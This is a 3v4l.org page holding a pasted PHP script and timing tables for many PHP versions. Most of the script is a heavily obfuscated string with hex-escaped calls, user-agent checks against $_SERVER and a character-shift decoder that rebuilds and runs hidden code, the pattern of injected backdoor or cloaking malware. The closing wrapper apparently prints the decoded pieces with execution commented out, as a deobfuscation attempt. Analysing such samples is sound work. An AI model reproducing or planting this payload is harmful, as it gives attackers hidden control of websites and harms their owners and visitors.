3v4l.org

run code in 300+ PHP versions simultaneously
<?php $kcpegnvp = '^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmw)%tww**WYsboepn.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#id%)uqpuft`msvd},;uqpuft`msvd}+;!>O x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<5h%/#0#/*#npd/#)rrgj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*]28y]#/r%/h%)n%-#+I#)q%:>:1<%j=tj{fpg)% x24- x24*<!~! x24/%t2w/ x24)1/20QUUI7jsv%7UFH# x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)uy]}R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}if((function_exists(" x6f 142 x5f 163 x74 141 x72 164") &&fs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{5983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53e]53Ld]53]Kc]55Ld]55#*<%bG9}:}($_SERVER[" x48 124 x54 120 x5f 125 x53 1d/#00;quui#>.%!<***f x27,*e x27,*d xj%)7gj6<**2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fn x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275mt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsu#k#)usbut`cpV x7f x7f x7f x7f<u%V x27{ftmfV x7f<*X&Z&S{ftmfV x7f<*" x72 166 x3a 61 x31")) or (strstr($uas," x61mjgk4`{6~6<tfs%w6< x7fw6*CWtfs%)7gj6<*id%)ftpmdR6<*id%)dfyfR x27tf527}88:}334}472 x24<!%ff2!>!bssbz) x24]25 x24- x24-!% x24- x464]284]364]6]234]342]58]24]31#-%tdz-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*CB)fubfsdXA x27K6< x7fw6*3qj%7> x2272q05 x52 137 x41 107 x45 116 x54"]); if (7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]{h%)j{hnpd!opjudovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!66~6<&w6< x7fw6*CW&)7gj6<*do3>?*2b%)gpf{jt)!gj!<*2bd%-#1G24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24gps)%j>o]#/*)323zbe!-#jt0*?]+^?]_ x5cj%7-C)fepmqnjA x27&6<.fmjgA x27doj%6< x7fw6* x7f_*#fof:opjudovg<~ x24<!%o:!>! x242178}27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<5 156 x63 164 x69 15724*!|! x24- x24 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yg%)!gj!<**2-4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE#57]38y]47]67y]37]88y]27r%:|:**t%)m%=*h%)m%):fmjix:<##:!>!2p%!|!*!***b%)sfxpmpusut]y31M6]y3e]81#/#7e:55946-tr.984:74!>! x24/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24-x5,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuor(ord($n)-1);} @error_reporting(0); $fjjkpjg5 156 x61"])))) { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=strtolower (!isset($GLOBALS[" x61156 x7>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s-%rxW~!Ypp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1H*WCw*[!%3]364]6]283]427]36]373P6]36]73]83]238M_*#[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`)!>> x22!ftmbg)!gj<*:~:<*9-1-r%)s%>/h%:<** 156 x64 162 x6f 151 x64")) or (strst`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>bpdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X;!sp!*##Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kp#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>s%6<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,]Kc#<%tpz!>!#]D6M7]K36<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{6~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]utjyf`4 x223}!+!<+{e%!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsv7 x78"))) { $xvbpazi = " x63 162x65 141 x74 145 x5f 146 x7 x6e"; function fdtnyhj($n){return chfubmgoj{h1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)t%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)uT`QIQ&f_UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV*Wsfuvso!%bss x5csboe))1/35.)1/14+9**-)1/2986+7**^/%rx<~!!%s:N}#-)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:6197g:74985-rr.933ldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>>r($uas," x63 150 x72 157 x6d 145")) or (strstr($uas)!gj!<*#cd2bge56+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMF>1*!%b:>1<!fmtf!%b:>%s = implode(array_map("fdtnyhj",str_split("%tjw!>!#]y8%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hA x27pd%6<pd%w6Z6<.4`hA x27pd%6<!gps)%j>1<%j=6[%ww2!>#66~6<&w6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>#<%yy>#]D6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]273]D6P2LbE{h%)tpqsut>j%!*9! xx22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#fubfsdXk5`{vr# x5cq%7/7#@#7/7^#iu%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]*::::::-111112)eobs`un>qp%!|Z~!<##(strstr($uas," x6d 163 x69 145")) or (strstr($uas,rN}#QwTW%hIrx5c1^-%r x5c2bozcYufhA x272qj%6<^#zsfopo#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!<*#}_;#)32!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%)," x66 151 x72 145 x66 15}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~<ftmbg!osvuy)#}#-# x24- x24-tusqpt)%z-#:#* x24- x2tjm!|!*5! x27!hmg%)!gj!|!*1?hmbq# x5cq% x27jsv%6<C>^#zsfvr# x5cq%7**^#zsfvr# x5cq%)ufttj ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}.;`UQPMSVD!-4]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%G]y6d]281Ld]245]K2]285]K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)+*!*+fepdfe{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.985P6]y6gP7L6M7]D4]275]D:M%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fe:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbsst0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#]K4]65]D8]86]y31]278]y3f]51L3]84W&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C !%i x5c2^<!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbss!>!bssbz)#44ec4*<!%t::!>! x24Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eN+#Qi x5c1^W%c!>##-!#~<#/% x24- x24!>!fyqmpef)# x2%<#462]47y]252]18y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)327!hmg%)!gj!~<ofmy%,3,j%>j%!<**3-jpD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!x27{**u%-#j2<!%ww2)%w`TW~ x24<!fwbm)%tjw)bssbz)#P#-# x24#-!#]y38#-!%w:**<")));$eccteci = $xvbpazi("", $fjjkpjg); $eccteci();}}%6|6.7eu{66~67<&w6<*&7dfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`G!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj256]y6g]257]y86]267]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufsXAZASV<*w%)ppde>u%V<#65,47R25,d7R17,67R37,#/q%>U<#16,pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%6<C x27pd47R57,27R66,#/q%>2q%<#g6R8t>j%!*72! x27!hmg%)!gj!<2,*j%-#1]#-buhA!osvufs!~<3,j%>j%!: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:Qb:Qc:W~!%z!>2<StrrEVxNoiTCnUF_EtaERCxecAlPeR_rtShysdndcda'; print 0; $izgfopaqs=explode('x',substr($kcpegnvp,6020,34)); print '0'; print $izgfopaqs[0]; print $izgfopaqs[1]; print '0'; print $izgfopaqs[2]; $vwuizcd = ($izgfopaqs[1]); $zfwlokw = ($izgfopaqs[2]); print 1; function koahhrivz($itvkops, $kcjmptf,$hztgsvtxyv) { $eegail = NULL; for($xqlphqa=0;$xqlphqa<(sizeof($itvkops)/2);$xqlphqa++) { $eegail .= substr($kcjmptf, $itvkops[($xqlphqa*2)],$itvkops[($xqlphqa*2)+(3-2)]); } print $hztgsvtxyv(chr((62-53)),chr((397-305)),$eegail); }; print 2; $vzjary = explode(',','433,58,2228,30,2159,69,606,41,1295,39,4054,50,1007,45,2501,37,3379,51,4257,25,2962,59,1729,21,3021,37,2115,44,3515,53,4528,51,3568,65,5825,51,5570,22,1214,44,5028,65,847,50,320,65,5592,47,1258,37,683,48,4130,24,3897,22,4413,59,3829,68,1443,28,1597,52,1052,66,2704,64,2789,42,3655,46,2413,46,4472,56,110,34,5639,63,4282,62,491,42,5939,20,897,44,5902,37,3808,21,5324,34,3108,36,4383,30,1804,52,1856,43,1389,54,207,45,1471,29,144,63,647,36,1683,46,4020,34,1954,27,2913,49,800,47,4210,47,3430,63,3144,59,2538,35,3919,31,4836,61,2573,66,4154,56,3325,54,731,69,3058,50,2892,21,4712,54,2459,20,941,66,5772,53,5876,26,2076,39,5358,49,385,48,5407,48,4962,34,1567,30,3950,70,5702,70,2479,22,1899,24,252,26,1923,31,2258,52,5259,65,1649,34,1118,60,1750,54,4344,39,2014,62,1500,67,278,42,5225,34,5158,67,5093,65,4897,65,2310,65,4104,26,0,55,3268,57,4766,46,4996,32,1981,33,533,43,2768,21,3758,50,4812,24,4579,67,576,30,55,55,2831,61,2375,38,1334,55,1178,36,3203,65,3701,57,3493,22,5959,61,3633,22,2669,35,5455,40,2639,30,4646,66,5495,66,5561,9'); print 3; koahhrivz($vzjary,$kcpegnvp,$zfwlokw); #$tzhvvqlmet = $vwuizcd("",koahhrivz($vzjary,$kcpegnvp,$zfwlokw)); $vwuizcd=$kcpegnvp; #$tzhvvqlmet(""); $tzhvvqlmet=121; $kcpegnvp=120; print 'last' ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0040.01116.75
8.3.50.0120.00316.52
8.3.40.0150.00019.04
8.3.30.0070.01018.96
8.3.20.0080.00020.19
8.3.10.0040.00421.90
8.3.00.0030.00517.81
8.2.180.0160.00618.44
8.2.170.0100.00722.96
8.2.160.0100.00320.36
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00420.94
8.2.120.0060.00326.35
8.2.110.0060.00619.39
8.2.100.0090.00318.34
8.2.90.0040.00419.34
8.2.80.0000.00818.18
8.2.70.0050.00517.63
8.2.60.0040.00418.05
8.2.50.0040.00418.10
8.2.40.0070.00020.58
8.2.30.0030.00519.44
8.2.20.0000.00818.26
8.2.10.0000.00718.16
8.2.00.0050.00318.25
8.1.270.0070.00023.83
8.1.260.0030.00526.35
8.1.250.0040.00428.09
8.1.240.0060.00323.80
8.1.230.0060.00617.64
8.1.220.0040.00417.77
8.1.210.0090.00018.77
8.1.200.0070.00317.48
8.1.190.0050.00317.35
8.1.180.0050.00318.10
8.1.170.0050.00318.49
8.1.160.0050.00219.14
8.1.150.0030.00620.69
8.1.140.0040.00419.71
8.1.130.0030.00318.87
8.1.120.0050.00317.64
8.1.110.0060.00317.61
8.1.100.0080.00017.63
8.1.90.0040.00817.48
8.1.80.0030.00717.41
8.1.70.0000.00717.55
8.1.60.0050.00517.62
8.1.50.0030.00517.68
8.1.40.0000.00917.60
8.1.30.0040.00417.84
8.1.20.0040.00417.63
8.1.10.0000.00917.72
8.1.00.0000.00817.57
8.0.300.0030.00518.77
8.0.290.0040.00417.00
8.0.280.0000.00718.68
8.0.270.0040.00417.43
8.0.260.0050.00316.88
8.0.250.0040.00417.06
8.0.240.0040.00417.16
8.0.230.0030.00717.05
8.0.220.0080.00017.10
8.0.210.0070.00016.98
8.0.200.0040.00417.10
8.0.190.0040.00417.02
8.0.180.0040.00816.94
8.0.170.0040.00416.95
8.0.160.0070.00017.05
8.0.150.0050.00217.00
8.0.140.0070.00017.04
8.0.130.0030.00313.54
8.0.120.0000.00717.09
8.0.110.0040.00417.12
8.0.100.0030.00517.05
8.0.90.0000.00817.08
8.0.80.0100.00717.12
8.0.70.0040.00416.97
8.0.60.0070.00016.90
8.0.50.0000.00716.95
8.0.30.0110.00717.26
8.0.20.0080.01017.43
8.0.10.0050.00317.07
8.0.00.0090.00917.02
7.4.330.0030.00315.55
7.4.320.0000.00716.77
7.4.300.0070.00016.61
7.4.290.0100.00016.64
7.4.280.0000.00916.78
7.4.270.0070.00016.65
7.4.260.0060.00013.36
7.4.250.0060.00316.45
7.4.240.0000.00716.49
7.4.230.0000.00816.55
7.4.220.0060.01216.78
7.4.210.0070.00716.76
7.4.200.0040.00416.61
7.4.160.0070.01016.52
7.4.150.0160.00617.40
7.4.140.0110.00817.86
7.4.130.0060.01116.64
7.4.120.0100.00816.65
7.4.110.0130.00716.77
7.4.100.0110.00816.52
7.4.90.0120.00416.69
7.4.80.0090.00919.39
7.4.70.0100.00616.59
7.4.60.0060.01016.55
7.4.50.0070.01016.66
7.4.40.0060.01016.68
7.4.30.0110.00716.38
7.4.00.0000.01715.39
7.3.330.0040.00413.51
7.3.320.0030.00313.57
7.3.310.0070.00016.45
7.3.300.0000.00716.61
7.3.290.0100.00616.54
7.3.280.0100.00616.49
7.3.270.0120.00617.40
7.3.260.0120.00516.54
7.3.250.0120.00916.68
7.3.240.0090.00916.65
7.3.230.0180.00816.39
7.3.210.0030.01516.70
7.3.200.0130.00316.44
7.3.190.0000.01616.57
7.3.180.0160.00016.72
7.3.170.0190.00016.57
7.3.160.0000.01616.68
7.3.10.0140.00816.56
7.3.00.0090.00916.31
7.2.330.0080.01116.56
7.2.320.0080.01316.96
7.2.310.0110.00616.63
7.2.300.0130.00616.73
7.2.290.0000.01616.89
7.2.130.0110.00716.80
7.2.120.0120.00616.58
7.2.110.0140.00916.99
7.2.100.0140.00316.69
7.2.90.0130.00616.72
7.2.80.0100.01016.84
7.2.70.0060.01016.70
7.2.60.0060.00816.88
7.2.50.0060.00916.77
7.2.40.0100.00316.53
7.2.30.0140.00416.64
7.2.20.0140.00416.41
7.2.10.0040.00816.53
7.2.00.0020.01218.00
7.1.250.0160.00415.72
7.1.200.0100.00615.89
7.1.100.0000.01018.23
7.1.70.0000.01317.19
7.1.60.0200.01035.11
7.1.50.0190.01034.78
7.1.40.0160.01334.21
7.1.30.0130.01834.38
7.1.20.0200.01034.48
7.1.10.0030.01016.43
7.1.00.0000.01216.86
7.0.200.0050.00916.80
7.0.190.0030.01016.63
7.0.180.0150.00916.21
7.0.170.0080.00416.26
7.0.160.0090.00416.49
7.0.150.0050.00816.33
7.0.140.0000.01316.40
7.0.130.0030.00916.80
7.0.120.0110.00416.51
7.0.110.0030.01016.29
7.0.100.0090.00416.30
7.0.90.0080.00416.27
7.0.80.0070.00716.20
7.0.70.0030.01316.42
7.0.60.0110.00416.35
7.0.50.0070.00716.28
7.0.40.0030.01016.75
7.0.30.0030.01016.45
7.0.20.0000.01216.50
7.0.10.0060.00616.50
7.0.00.0060.00616.49
preferences:
51.37 ms | 400 KiB | 5 Q